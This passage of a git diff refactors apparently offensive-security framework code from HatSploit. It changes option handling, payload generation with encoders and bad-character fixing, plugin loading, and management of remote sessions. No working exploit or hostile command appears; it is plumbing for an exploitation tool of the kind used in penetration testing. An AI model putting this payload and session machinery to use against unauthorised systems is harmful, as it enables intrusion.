+        """ Set current option value.
+
+        :param int value: option value to set
+        :return None: None
+        """
+
+        self.check('integer', Type.is_integer, value)
+        self.value = int(value)
+
+
+class FloatOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores float.
+    """
+
+    def set(self, value: float) -> None:
+        """ Set current option value.
+
+        :param float value: option value to set
+        :return None: None
+        """
+
+        self.check('float', Type.is_float, value)
+        self.value = float(value)
+
+
+class BooleanOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores bool (yes/no).
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('boolean', Type.is_boolean, value)
+        self.value = value.lower() in ['y', 'yes']
diff --git a/hatsploit/lib/options.py b/hatsploit/lib/ui/options.py
similarity index 59%
rename from hatsploit/lib/options.py
rename to hatsploit/lib/ui/options.py
index 5557619b6..2e4d013ff 100755
--- a/hatsploit/lib/options.py
+++ b/hatsploit/lib/ui/options.py
@@ -23,8 +23,14 @@
 """
 
 import os
+import copy
 
-from typing import Any, Optional, Union, Callable
+from typing import (
+    Any,
+    Optional,
+    Union,
+    Callable
+)
 
 
 class Option(object):
@@ -34,21 +40,26 @@ class Option(object):
     an implementation of option for module, encoder and payload.
     """
 
-    def __init__(self, value: Any = None, description: Optional[str] = None,
+    def __init__(self, name: str, value: Any = None,
+                 description: Optional[str] = None,
                  required: bool = False, advanced: bool = False,
-                 object: Any = None) -> None:
+                 object: Any = None, conditions: dict = {}) -> None:
         """ Set option.
 
+        :param str name: option name
         :param Any value: option value
         :param Optional[str] description: option description
         :param bool required: True if required else False
         :param bool advanced: True if advanced else False
         :param Any object: object
+        :param dict conditions: add option only if other option
+        has the value set to the value(s) specified in conditions
         :return None: None
         """
 
         super().__init__()
 
+        self.name = name
         self.value = None
 
         self.description = description
@@ -56,13 +67,7 @@ def __init__(self, value: Any = None, description: Optional[str] = None,
 
         self.advanced = advanced
         self.object = object
-
-        self.payload = None
-        self.encoder = None
-        self.session = None
-
-        self.little = b''
-        self.big = b''
+        self.conditions = conditions
 
         self.visible = True
         self.locked = False
@@ -149,106 +154,132 @@ class Options(object):
     tools for working with module, payload or encoder options.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def get_option(self, option: str) -> Union[Option, None]:
+        """ Get option object by name.
 
-    @staticmethod
-    def set_option(object: Any,
-                   option: str, value: Optional[str] = None) -> bool:
+        :param str option: option name
+        :return Union[Option, None]: option object or None
+        """
+
+        for name, object in self.options.items():
+            if name.lower() != option.lower():
+                continue
+
+            return object
+
+        for name, object in self.advanced.items():
+            if name.lower() != option.lower():
+                continue
+
+            return object
+
+    def set_option_attrs(self, option: str, attrs: dict) -> None:
+        """ Set option attributes.
+
+        :param str option: option name
+        :param dict attrs: attrs to set
+        :return None: None
+        """
+
+        option = self.get_option(option)
+
+        if not option:
+            return
+
+        for attr, value in attrs.items():
+            setattr(option, attr, value)
+
+    def set(self, option: str, value: Optional[str] = None) -> bool:
         """ Set option.
 
-        :param Any object: object
         :param str option: option name
         :param Optional[str] value: option value
         :return bool: True if success else False
         """
 
-        if hasattr(object, 'advanced'):
-            if option in object.advanced:
-                attr = getattr(object, option)
-
-                if attr.visible and not attr.locked:
-                    if value is not None:
-                        attr.set(value)
-                        object.advanced[option]['Value'] = str(value)
-                    else:
-                        attr.unset()
-                        object.advanced[option]['Value'] = None
+        option = self.get_option(option)
 
-                    return True
+        if not option:
+            return False
 
-        if hasattr(object, 'options'):
-            if option in object.options:
-                attr = getattr(object, option)
+        if not option.visible or option.locked:
+            return False
 
-                if attr.visible and not attr.locked:
-                    if value is not None:
-                        attr.set(value)
-                        object.options[option]['Value'] = str(value)
-                    else:
-                        attr.unset()
-                        object.options[option]['Value'] = None
+        if value is not None:
+            option.set(value)
+        else:
+            option.unset()
 
-                    return True
+        self.update()
+        return True
 
-        return False
-
-    @staticmethod
-    def validate_options(object: Any) -> list:
+    def validate(self) -> list:
         """ Validate missed options.
 
-        :param Any object: object
         :return list: list of missed option names
         """
 
         missed = []
 
-        if hasattr(object, "options"):
-            for option in object.options:
-                validate = object.options[option]
+        for name, option in self.options.items():
+            if not option.visible:
+                continue
 
-                if validate['Value'] is None and validate['Required']:
-                    missed.append(option)
+            if option.value is None and option.required:
+                missed.append(name)
 
         return missed
 
-    @staticmethod
-    def add_options(object: Any) -> None:
+    def update(self) -> None:
         """ Import external options from module, payload or encoder.
 
-        :param Any object: object
+        NOTE: It also checks for conditions in the second part
+        of the code.
+
         :return None: None
         """
 
-        for attr in dir(object):
-            option = getattr(object, attr)
+        for attr in dir(self):
+            option = getattr(self, attr)
 
             if not isinstance(option, Option):
                 continue
 
             if option.object:
-                if not isinstance(object, option.object):
+                if not isinstance(self, option.object):
                     continue
 
             if option.advanced:
-                if not hasattr(object, 'advanced'):
-                    object.advanced = {}
+                self.advanced[option.name] = option
+                continue
+
+            self.options[option.name] = option
+
+        all_options = copy.deepcopy(self.options)
+        all_options.update(self.advanced)
 
-                options = object.advanced
+        for name in list(all_options):
+            if name in self.options:
+                option = self.options[name]
+                options = self.options
             else:
-                if not hasattr(object, 'options'):
-                    object.options = {}
-
-                options = object.options
-
-            options.update(
-                {
-                    attr.lower(): {
-                        'Value': option.value,
-                        'Description': option.description,
-                        'Required': option.required,
-                        'Visible': option.visible,
-                        'Locked': option.locked,
-                    }
-                }
-            )
+                option = self.advanced[name]
+                options = self.advanced
+
+            if not option.conditions:
+                continue
+
+            for opt_name, opt_val in option.conditions.items():
+                if opt_name not in all_options:
+                    options.pop(name)
+                    break
+
+                if isinstance(opt_val, str):
+                    if all_options[opt_name].value != opt_val:
+                        options.pop(name)
+                        break
+
+                if isinstance(opt_val, list):
+                    if all_options[opt_name].value not in opt_val:
+                        options.pop(name)
+                        break
diff --git a/hatsploit/lib/payloads.py b/hatsploit/lib/ui/payloads.py
similarity index 58%
rename from hatsploit/lib/payloads.py
rename to hatsploit/lib/ui/payloads.py
index 32e7184b3..5e47a849d 100755
--- a/hatsploit/lib/payloads.py
+++ b/hatsploit/lib/ui/payloads.py
@@ -22,113 +22,86 @@
 SOFTWARE.
 """
 
-from hatvenom import HatVenom
-from pex.type import Type
+import sys
+import traceback
+
+from hatasm import HatAsm
 
 from typing import Union, Any, Optional
 
-from pex.platform.types import Platform
-from pex.arch.types import Arch
+from pex.platform import Platform
+from pex.arch import Arch
+
+from hatsploit.core.db.db import DB
+
+from hatsploit.lib.core.payload.const import SINGLE
+
+from hatsploit.lib.core.payload import Payload
+from hatsploit.lib.core.encoder import Encoder
+from hatsploit.lib.core.module import Module
 
-from hatsploit.core.db.importer import Importer
+from hatsploit.lib.ui.encoders import Encoders
 
-from hatsploit.lib.payload import Payload
-from hatsploit.lib.options import Options
-from hatsploit.lib.encoder import Encoder
-from hatsploit.lib.module import Module
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.storage import LocalStorage
+from hatsploit.lib.storage import STORAGE
+from hatsploit.lib.mixins import PayloadMixin, PayloadGenericMixin
 
 
-class Payloads(object):
+class Payloads(HatAsm):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     tools for working with HatSploit payloads.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.hatvenom = HatVenom()
-
-        self.types = Type()
-
-        self.importer = Importer()
-        self.options = Options()
-        self.local_storage = LocalStorage()
-        self.encoders = Encoders()
+    encoders = Encoders()
 
-    def payloads_completer(self, text: str) -> list:
+    def payloads_completer(self) -> list:
         """ Tab-completion for payloads.
 
-        :param str text: text to complete
         :return list: list of completions
         """
 
-        payloads = self.get_payloads()
-        matches = []
-
-        if payloads:
-            for database in payloads:
-                for payload in payloads[database]:
-                    if payload.startswith(text):
-                        matches.append(payload)
-
-        return matches
+        return {payload: None for payload in self.get_payloads()}
 
-    def get_payloads(self) -> dict:
+    @staticmethod
+    def get_payloads(criteria: dict = {}) -> dict:
         """ Get all payloads from local storage.
 
+        :param dict criteria: DB search criteria
         :return dict: payloads, payload names as keys and
         payload objects as items
         """
 
-        return self.local_storage.get("payloads")
+        return DB(table='payloads').dump(criteria=criteria)
 
-    def get_imported_payloads(self) -> dict:
+    @staticmethod
+    def get_imported_payloads() -> dict:
         """ Get all imported payloads from local storage.
 
         :return dict: payloads, payload name as keys and
         payload objects as items
         """
 
-        return self.local_storage.get("imported_payloads")
-
-    def get_database(self, payload: str) -> str:
-        """ Get database in which specific payload exists.
+        return STORAGE.get("imported_payloads")
 
-        :param str payload: payload name
-        :return str: database name
-        """
-
-        all_payloads = self.get_payloads()
-
-        if all_payloads:
-            for database in all_payloads:
-                payloads = all_payloads[database]
-
-                if payload in payloads:
-                    return database
-
-        return ''
-
-    def get_payload(self, payload: str) -> Union[Payload, None]:
+    @staticmethod
+    def get_payload(payload: str) -> Union[Payload, None]:
         """ Import and get imported payload.
 
         :param str payload: payload name
         :return Union[Payload, None]: imported payload, None if failed to import
         """
 
-        payload_object = self.get_payload_object(payload)
-
         try:
-            imported_payload = self.importer.import_payload(payload_object['Path'])
-            self.options.add_options(imported_payload)
+            payload_object = DB(table='payloads').load(
+                criteria={'BaseName': payload}).get(payload)
+            payload_object.update()
+
         except Exception:
-            return None
+            traceback.print_exc(file=sys.stdout)
+            return
 
-        return imported_payload
+        return payload_object
 
     def get_payload_object(self, payload: str) -> dict:
         """ Get payload object, this object represents payload details
@@ -138,29 +111,33 @@ def get_payload_object(self, payload: str) -> dict:
         :return dict: payload object, payload details
         """
 
-        if self.check_exist(payload):
-            database = self.get_database(payload)
-
-            return self.get_payloads()[database][payload]
-        return {}
+        return self.get_payloads(
+            {'BaseName': payload}).get(payload, {})
 
     def get_current_payload(self, module: Module) -> Union[Payload, None]:
-        """ Get current encoder, this is encoder which is currently
+        """ Get current payload, this is payload which is currently
         used within current module.
 
         :param Module module: current module
         :return Union[Payload, None]: current payload, None if no current payload
         """
 
-        imported_payloads = self.get_imported_payloads()
+        if hasattr(module, 'payload'):
+            return self.get_module_payload(module.payload.value, module)
 
-        if module and imported_payloads and 'Payload' in module.details:
-            module_name = module.details['Module']
+    def get_module_payload(self, name: str, module: Module) -> Union[Payload, None]:
+        """ Get payload imported within the module context.
 
-            if module_name in imported_payloads:
-                name = module.details['Payload']['Value']
+        :param str name: payload name
+        :param Module module: module object
+        :return Union[Payload, None]: payload if exists
+        """
+
+        imported_payloads = self.get_imported_payloads()
+        module_name = module.info['Module']
 
-                return imported_payloads[module_name].get(name, None)
+        if imported_payloads and module_name in imported_payloads:
+            return imported_payloads[module_name].get(name, None)
 
     def search_payload(self, name: str) -> str:
         """ Get payload name by full payload name.
@@ -176,10 +153,9 @@ def search_payload(self, name: str) -> str:
 
         payloads = self.get_payloads()
 
-        for database in payloads:
-            for payload in payloads[database]:
-                if payloads[database][payload]['Name'].lower() == name.lower():
-                    return payloads[database][payload]['Payload']
+        for payload in payloads:
+            if payloads[payload]['Name'].lower() == name.lower():
+                return payload
 
         return ''
 
@@ -199,22 +175,22 @@ def import_payload(self, module: str, payload: str) -> Union[Payload, None]:
             if imported_payloads:
                 if module in imported_payloads:
                     imported_payloads[module].update({
-                        payload_object.details['Payload']: payload_object
+                        payload_object.info['Payload']: payload_object
                     })
                 else:
                     imported_payloads.update({
                         module: {
-                            payload_object.details['Payload']: payload_object
+                            payload_object.info['Payload']: payload_object
                         }
                     })
             else:
                 imported_payloads = {
                     module: {
-                        payload_object.details['Payload']: payload_object
+                        payload_object.info['Payload']: payload_object
                     }
                 }
 
-            self.local_storage.set("imported_payloads", imported_payloads)
+            STORAGE.set("imported_payloads", imported_payloads)
 
         return payload_object
 
@@ -225,14 +201,19 @@ def check_exist(self, payload: str) -> bool:
         :return bool: True if exists else False
         """
 
-        all_payloads = self.get_payloads()
+        return payload in self.get_payloads()
 
-        if all_payloads:
-            for database in all_payloads:
-                payloads = all_payloads[database]
+    def check_usable(self, payload: str) -> bool:
+        """ Check if payload is usable within the console.
 
-                if payload in payloads:
-                    return True
+        :param str payload: payload name
+        :return bool: True if usable else False
+        """
+
+        payload = self.get_payload_object(payload)
+
+        if payload and payload['Category'] == SINGLE:
+            return True
 
         return False
 
@@ -253,57 +234,63 @@ def check_imported(self, module: str, payload: str) -> bool:
 
         return False
 
-    def check_module_compatible(self, payload: str, module: Module) -> bool:
+    def check_module_compatible(self, payload: str, module: Module) -> Union[PayloadMixin, None]:
         """ Check if payload is compatible with the specific module.
 
         :param str payload: payload name
         :param Module module: module object
-        :return bool: True if compatible else False
+        :return Union[PayloadMixin, None]: payload mixin if compatible else None
         """
 
-        payload = self.get_payload_object(payload)
+        if not self.check_usable(payload):
+            return
 
-        if payload:
-            if 'Payload' in module.details:
-                types = module.details['Payload'].get('Types', None)
-                platforms = module.details['Payload'].get('Platforms', None)
-                arches = module.details['Payload'].get('Arches', None)
+        if not module.payload.criteria:
+            return PayloadGenericMixin
 
-                if types and payload['Type'] not in types:
-                    return False
+        payload = self.get_payload_object(payload)
+        mixins = module.payload.criteria
 
-                if platforms and not any(payload['Platform'] == platform for platform in platforms):
-                    return False
+        for mixin in mixins:
+            types = mixins[mixin].get('Type', None)
+            platforms = mixins[mixin].get('Platform', None)
+            arches = mixins[mixin].get('Arch', None)
 
-                if arches and not any(payload['Arch'] == arch for arch in arches):
-                    return False
+            if types and payload['Type'] not in types:
+                continue
 
-            return True
+            if platforms and not any(payload['Platform'] == platform for platform in platforms):
+                continue
 
-        return False
+            if arches and not any(payload['Arch'] == arch for arch in arches):
+                continue
 
-    def add_payload(self, module: str, payload: str) -> None:
+            return mixin
+
+    def add_payload(self, module: Module, payload: str) -> None:
         """ Add payload to module which you want to reserve it for.
 
-        :param str module: module which you want to reserve encoder for
+        :param str module: module object
         :param str payload: payload name
         :return None: None
         :raises RuntimeError: with trailing error message
         """
 
-        if not self.check_imported(module, payload):
-            if not self.import_payload(module, payload):
+        module_name = module.info['Module']
+
+        if not self.check_imported(module_name, payload):
+            if not self.import_payload(module_name, payload):
                 raise RuntimeError(f"Failed to select payload from database: {payload}!")
 
-    def generate_payload(self, payload: str, options: dict = {}, encoder: Optional[str] = None,
-                         method: str = 'run') -> Any:
+    def generate_payload(self, payload: str, options: dict = {},
+                         encoder: Optional[str] = None,
+                         *args, **kwargs) -> Any:
         """ Generate payload using specific payload and encoder.
 
         :param str payload: payload name
         :param dict options: dictionary, option names as keys and option values
         as items
         :param Optional[str] encoder: encoder name
-        :param str method: payload generator method
         :return Any: payload returned by the specific payload
         """
 
@@ -311,15 +298,15 @@ def generate_payload(self, payload: str, options: dict = {}, encoder: Optional[s
 
         if payload:
             for option in options:
-                payload.set(option, options[option])
+                payload.set(option.lower(), options[option])
 
             if encoder:
                 encoder = self.encoders.get_encoder(encoder)
 
                 for option in options:
-                    encoder.set(option, options[option])
+                    encoder.set(option.lower(), options[option])
 
-            return self.run_payload(payload, encoder, method)
+            return self.run_payload(payload, encoder, *args, **kwargs)
 
     def pack_payload(self, payload: bytes, platform: Platform, arch: Arch, file_format: Optional[str] = None) -> bytes:
         """ Pack payload in the CPU executable.
@@ -331,8 +318,8 @@ def pack_payload(self, payload: bytes, platform: Platform, arch: Arch, file_form
         :return bytes: CPU executable
         """
 
-        return self.hatvenom.generate(
-            file_format if file_format else platform.exec, str(arch), payload)
+        return self.pack_exe(
+            payload, arch, file_format if file_format else platform.exec)
 
     @staticmethod
     def detect_badchars(code: bytes, badchars: bytes) -> bool:
@@ -343,10 +330,9 @@ def detect_badchars(code: bytes, badchars: bytes) -> bool:
         :return bool: True if code contains badchars else False
         """
 
-        if badchars:
-            for char in badchars:
-                if char in code:
-                    return True
+        for char in badchars:
+            if char in code:
+                return True
 
         return False
 
@@ -364,33 +350,39 @@ def fix_badchars(self, payload: Payload, code: bytes, badchars: bytes) -> bytes:
 
         all_encoders = self.encoders.get_encoders()
 
-        if all_encoders:
-            for database in all_encoders:
-                encoders = all_encoders[database]
+        if not all_encoders:
+            return code
 
-                for encoder in encoders:
-                    if not self.encoders.check_payload_compatible(encoder, payload):
-                        continue
+        for database in all_encoders:
+            encoders = all_encoders[database]
 
-                    encoder = self.encoders.get_encoder(encoder)
-                    encoder.payload = code
-                    new_code = encoder.run()
+            for encoder in encoders:
+                if not self.encoders.check_payload_compatible(encoder, payload):
+                    continue
 
-                    if not self.detect_badchars(new_code, badchars):
-                        return new_code
+                encoder = self.encoders.get_encoder(encoder)
+                encoder.payload = code
+                new_code = encoder.run()
 
-        return code
+                if not self.detect_badchars(new_code, badchars):
+                    return new_code
 
-    def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None, method: str = 'run') -> Any:
+    def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None,
+                    method: str = 'run', badchars: bytes = b'',
+                    prepend: Union[bytes, str] = b'', append: Union[bytes, str] = b'') -> Any:
         """ Run payload and apply encoder to it.
 
         :param Payload payload: payload object
         :param Optional[Encoder] encoder: encoder object
-        :param str method: payload generator method (run, implant, phaseN)
+        :param str method: payload generator method (run, phaseN)
+        :param bytes badchars: add custom bad chars to omit
+        :param Union[bytes, str] prepend: prepend additional binary stub
+        :param Union[bytes, str] append: append additional binary stub
+        additional options
         :return Any: payload result
         """
 
-        missed = self.options.validate_options(payload)
+        missed = payload.validate()
 
         if missed:
             raise RuntimeError(
@@ -400,7 +392,10 @@ def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None, metho
             raise RuntimeError(
                 f"Payload does not have method: {method}!")
 
-        code = getattr(payload, method)()
+        code = prepend + getattr(payload, method)() + append
+
+        if hasattr(payload, 'apply'):
+            code = payload.apply(code)
 
         if not code:
             raise RuntimeError("Empty payload output detected!")
@@ -409,4 +404,4 @@ def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None, metho
             code = self.encoders.encode_payload(encoder, code)
 
         return self.fix_badchars(
-            payload, code, payload.badchars.value)
+            payload, code, payload.badchars.value + badchars)
diff --git a/hatsploit/lib/plugins.py b/hatsploit/lib/ui/plugins.py
similarity index 54%
rename from hatsploit/lib/plugins.py
rename to hatsploit/lib/ui/plugins.py
index a4a3e4898..37aea8ee6 100755
--- a/hatsploit/lib/plugins.py
+++ b/hatsploit/lib/ui/plugins.py
@@ -22,12 +22,16 @@
 SOFTWARE.
 """
 
+import sys
+import traceback
+
 from typing import Union
 
-from hatsploit.lib.plugin import Plugin
+from hatsploit.lib.core.plugin import Plugin
+
+from hatsploit.core.db.db import DB
 
-from hatsploit.core.db.importer import Importer
-from hatsploit.lib.storage import LocalStorage
+from hatsploit.lib.storage import STORAGE
 
 
 class Plugins(object):
@@ -37,62 +41,43 @@ class Plugins(object):
     tools for working with HatSploit plugins.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.importer = Importer()
-        self.local_storage = LocalStorage()
-
-    def plugins_completer(self, text: str) -> list:
+    def plugins_completer(self) -> list:
         """ Tab-completion for plugins.
 
-        :param str text: text to complete
         :return list: list of completions
         """
 
-        plugins = self.get_plugins()
-        matches = []
+        return {plugin: None for plugin in self.get_plugins()}
 
-        if plugins:
-            for database in plugins:
-                for plugin in plugins[database]:
-                    if plugin.startswith(text):
-                        matches.append(plugin)
-
-        return matches
-
-    def get_plugins(self) -> dict:
+    @staticmethod
+    def get_plugins(criteria: dict = {}) -> dict:
         """ Get all plugins from local storage.
 
+        :param dict criteria: DB search criteria
         :return dict: plugins, plugin names as keys and
         plugin objects as items
         """
 
-        return self.local_storage.get("plugins")
+        return DB(table='plugins').dump(criteria=criteria)
 
-    def get_loaded_plugins(self) -> dict:
+    @staticmethod
+    def get_loaded_plugins() -> dict:
         """ Get all loaded plugins from local storage.
 
         :return dict: plugins, plugin name as keys and
         plugin objects as items
         """
 
-        return self.local_storage.get("loaded_plugins")
+        return STORAGE.get("loaded_plugins", {})
 
-    def loaded_plugins_completer(self, text: str) -> list:
+    def loaded_plugins_completer(self) -> list:
         """ Tab-completion for loaded plugins
         (used for auto-completing 'unload' command).
 
-        :param str text: text to complete
         :return list: list of completions
         """
 
-        plugins = self.get_loaded_plugins()
-
-        if plugins:
-            return [plugin for plugin in plugins if plugin.startswith(text)]
-
-        return []
+        return {plugin: None for plugin in self.get_loaded_plugins()}
 
     def check_exist(self, plugin: str) -> bool:
         """ Check if plugin exists in the database.
@@ -101,16 +86,7 @@ def check_exist(self, plugin: str) -> bool:
         :return bool: True if exists else False
         """
 
-        all_plugins = self.get_plugins()
-
-        if all_plugins:
-            for database in all_plugins:
-                plugins = all_plugins[database]
-
-                if plugin in plugins:
-                    return True
-
-        return False
+        return plugin in self.get_plugins()
 
     def check_loaded(self, plugin: str) -> bool:
         """ Check if plugin is loaded.
@@ -119,84 +95,48 @@ def check_loaded(self, plugin: str) -> bool:
         :return bool: True if loaded else False
         """
 
-        loaded_plugins = self.get_loaded_plugins()
-
-        if loaded_plugins:
-            if plugin in loaded_plugins:
-                return True
-
-        return False
-
-    def get_database(self, plugin: str) -> str:
-        """ Get database in which specific plugin exists.
-
-        :param str plugin: plugin name
-        :return str: database name
-        """
-
-        all_plugins = self.get_plugins()
-
-        if all_plugins:
-            for database in all_plugins:
-                plugins = all_plugins[database]
+        return plugin in self.get_loaded_plugins()
 
-                if plugin in plugins:
-                    return database
-
-        return ''
-
-    def import_plugin(self, database: str, plugin: str) -> Union[Plugin, None]:
+    @staticmethod
+    def import_plugin(plugin: str) -> Union[Plugin, None]:
         """ Import plugin.
 
-        :param str database: database name
         :param str plugin: plugin name
         :return Union[Plugin, None]: imported plugin, None if failed to import
         """
 
-        loaded_plugins = {}
-        plugins = self.get_plugins()[database][plugin]
-
         try:
-            plugin_object = self.importer.import_plugin(plugins['Path'])
-            loaded_plugins[plugin] = plugin_object
-
-            return plugin_object
+            plugin_object = DB(table='plugins').load(
+                criteria={'BaseName': plugin}).get(plugin)
 
         except Exception:
-            pass
+            traceback.print_exc(file=sys.stdout)
+            return
 
-    def import_plugins(self, path: str) -> dict:
-        """ Import plugins from path.
+        return plugin_object
 
-        :param str path: path to plugins
-        :return dict: plugins, plugin names as keys and
-        plugin objects as items
-        """
-
-        return self.importer.import_plugins(path)
-
-    def add_plugin(self, database: str, plugin: str) -> None:
+    def add_plugin(self, plugin: str) -> Union[Plugin, None]:
         """ Add plugin.
 
-        :param str database: database name
         :param str plugin: plugin name
         :return None: None
         :raises RuntimeError: with trailing error message
         """
 
-        plugin_object = self.import_plugin(database, plugin)
+        plugin_object = self.import_plugin(plugin)
 
         if plugin_object:
             if self.get_loaded_plugins():
-                self.local_storage.update("loaded_plugins", {plugin: plugin_object})
+                STORAGE.update("loaded_plugins", {plugin: plugin_object})
             else:
-                self.local_storage.set("loaded_plugins", {plugin: plugin_object})
+                STORAGE.set("loaded_plugins", {plugin: plugin_object})
 
-            self.get_loaded_plugins()[plugin].load()
+            plugin_object.load()
+            return plugin_object
         else:
             raise RuntimeError(f"Failed to load plugin: {plugin}!")
 
-    def load_plugin(self, plugin: str) -> None:
+    def load_plugin(self, plugin: str) -> Union[Plugin, None]:
         """ Load specific plugin.
 
         :param str plugin: plugin name or number
@@ -204,7 +144,7 @@ def load_plugin(self, plugin: str) -> None:
         :raises RuntimeError: with trailing error message
         """
 
-        plugin_shorts = self.local_storage.get("plugin_shorts")
+        plugin_shorts = STORAGE.get("plugin_shorts")
 
         if plugin_shorts:
             if plugin.isdigit():
@@ -215,8 +155,7 @@ def load_plugin(self, plugin: str) -> None:
 
         if not self.check_loaded(plugin):
             if self.check_exist(plugin):
-                database = self.get_database(plugin)
-                self.add_plugin(database, plugin)
+                return self.add_plugin(plugin)
 
             else:
                 raise RuntimeError(f"Invalid plugin: {plugin}!")
@@ -231,7 +170,7 @@ def unload_plugin(self, plugin: str) -> None:
         :raises RuntimeError: with trailing error message
         """
 
-        plugin_shorts = self.local_storage.get("plugin_shorts")
+        plugin_shorts = STORAGE.get("plugin_shorts")
 
         if plugin_shorts:
             if plugin.isdigit():
@@ -241,7 +180,7 @@ def unload_plugin(self, plugin: str) -> None:
                     plugin = plugin_shorts[plugin_number]
 
         if self.check_loaded(plugin):
-            self.local_storage.delete_element("loaded_plugins", plugin)
+            STORAGE.delete_element("loaded_plugins", plugin)
 
         else:
             raise RuntimeError(f"Plugin is not loaded: {plugin}!")
diff --git a/hatsploit/lib/sessions.py b/hatsploit/lib/ui/sessions.py
similarity index 73%
rename from hatsploit/lib/sessions.py
rename to hatsploit/lib/ui/sessions.py
index d61dd1c7c..ab4bc9f9d 100755
--- a/hatsploit/lib/sessions.py
+++ b/hatsploit/lib/ui/sessions.py
@@ -27,37 +27,30 @@
 
 from hatsploit.lib.config import Config
 
-from hatsploit.lib.session import Session
+from hatsploit.lib.core.session import Session
 from hatsploit.lib.storage import GlobalStorage
-from hatsploit.lib.storage import LocalStorage
+from hatsploit.lib.storage import STORAGE
 
 
-class Sessions(object):
+class Sessions(Badges):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     tools for working with HatSploit sessions.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    storage_path = Config().path_config['storage_path']
+    global_storage = GlobalStorage(storage_path)
 
-        self.badges = Badges()
-        self.config = Config()
-
-        self.storage_path = self.config.path_config['storage_path']
-
-        self.global_storage = GlobalStorage(self.storage_path)
-        self.local_storage = LocalStorage()
-
-    def get_sessions(self) -> dict:
+    @staticmethod
+    def get_sessions() -> dict:
         """ Get all opened sessions.
 
         :return dict: sessions, session ids as keys and
         session details as items
         """
 
-        return self.local_storage.get("sessions", {})
+        return STORAGE.get("sessions", {})
 
     def close_dead(self) -> None:
         """ Close all dead sessions.
@@ -69,42 +62,26 @@ def close_dead(self) -> None:
 
         if sessions:
             for session in list(sessions):
-                if not sessions[session]['Object'].heartbeat():
-                    self.badges.print_warning(f"Session {str(session)} is dead (no heartbeat).")
+                if not sessions[session].heartbeat():
+                    self.print_warning(f"Session {str(session)} is dead (no heartbeat).")
                     self.close_session(session)
 
-    def add_session(self, platform: str, arch: str, type: str,
-                    host: str, port: int, session: Session) -> int:
+    def add_session(self, session: Session) -> int:
         """ Add session to local storage.
 
-        :param str platform: session platform
-        :param str arch: session architecture
-        :param str type: session type
-        :param str host: session host
-        :param int port: session port
         :param Session session: session object
+        :return int: session id
         """
 
         if not self.get_sessions():
-            self.local_storage.set("sessions", {})
+            STORAGE.set("sessions", {})
 
         session_id = 0
-        while (session_id in self.get_sessions() or
-               session_id < len(self.get_sessions())):
+        while session_id in self.get_sessions() or \
+                session_id < len(self.get_sessions()):
             session_id += 1
 
-        sessions = {
-            session_id: {
-                'Platform': platform,
-                'Arch': arch,
-                'Type': type,
-                'Host': host,
-                'Port': port,
-                'Object': session
-            }
-        }
-
-        self.local_storage.update("sessions", sessions)
+        STORAGE.update("sessions", {session_id: session})
         return session_id
 
     def check_exist(self, session_id: int, platform: Optional[str] = None,
@@ -124,25 +101,26 @@ def check_exist(self, session_id: int, platform: Optional[str] = None,
             if int(session_id) in sessions:
                 session = sessions[int(session_id)]
 
-                if platform and session['Platform'] != platform:
+                if platform and session.info['Platform'] != platform:
                     return False
 
-                if arch and session['Arch'] != arch:
+                if arch and session.info['Arch'] != arch:
                     return False
 
-                if type and session['Type'] != type:
+                if type and session.info['Type'] != type:
                     return False
 
                 return True
         return False
 
-    def get_auto_interaction(self) -> bool:
+    @staticmethod
+    def get_auto_interaction() -> bool:
         """ Check if auto-interaction allowed.
 
         :return bool: True if allowed else False
         """
 
-        return self.local_storage.get("auto_interaction", False)
+        return STORAGE.get("auto_interaction", False)
 
     def enable_auto_interaction(self) -> None:
         """ Enable automatic interaction with session
@@ -175,8 +153,8 @@ def interact_with_session(self, session_id: int) -> None:
         sessions = self.get_sessions()
 
         if self.check_exist(session_id):
-            self.badges.print_process(f"Interacting with session {str(session_id)}...%newline")
-            sessions[int(session_id)]['Object'].interact()
+            self.print_process(f"Interacting with session {str(session_id)}...%newline")
+            sessions[int(session_id)].interact()
 
         else:
             raise RuntimeError("Invalid session given!")
@@ -194,7 +172,7 @@ def session_download(self, session_id: int, remote_file: str, local_path: str) -
         sessions = self.get_sessions()
 
         if self.check_exist(session_id):
-            return sessions[int(session_id)]['Object'].download(remote_file, local_path)
+            return sessions[int(session_id)].download(remote_file, local_path)
 
         raise RuntimeError("Invalid session given!")
 
@@ -211,7 +189,7 @@ def session_upload(self, session_id: int, local_file: str, remote_path: str) ->
         sessions = self.get_sessions()
 
         if self.check_exist(session_id):
-            return sessions[int(session_id)]['Object'].upload(local_file, remote_path)
+            return sessions[int(session_id)].upload(local_file, remote_path)
 
         raise RuntimeError("Invalid session given!")
 
@@ -227,10 +205,10 @@ def close_session(self, session_id: int) -> None:
 
         if self.check_exist(session_id):
             try:
-                sessions[int(session_id)]['Object'].close()
+                sessions[int(session_id)].close()
                 del sessions[int(session_id)]
 
-                self.local_storage.update("sessions", sessions)
+                STORAGE.update("sessions", sessions)
 
             except Exception:
                 raise RuntimeError("Failed to close session!")
@@ -250,11 +228,9 @@ def close_sessions(self) -> None:
         if sessions:
             for session in list(sessions):
                 try:
-                    sessions[session]['Object'].close()
+                    sessions[session].close()
                     del sessions[session]
 
-                    self.local_storage.update("sessions", sessions)
-
                 except Exception:
                     raise RuntimeError("Failed to close session!")
 
@@ -273,6 +249,6 @@ def get_session(self, session_id: int, platform: Optional[str] = None,
         sessions = self.get_sessions()
 
         if self.check_exist(session_id, platform, arch, type):
-            return sessions[int(session_id)]['Object']
+            return sessions[int(session_id)]
 
         raise RuntimeError("Invalid session given!")
diff --git a/hatsploit/lib/ui/show.py b/hatsploit/lib/ui/show.py
new file mode 100755
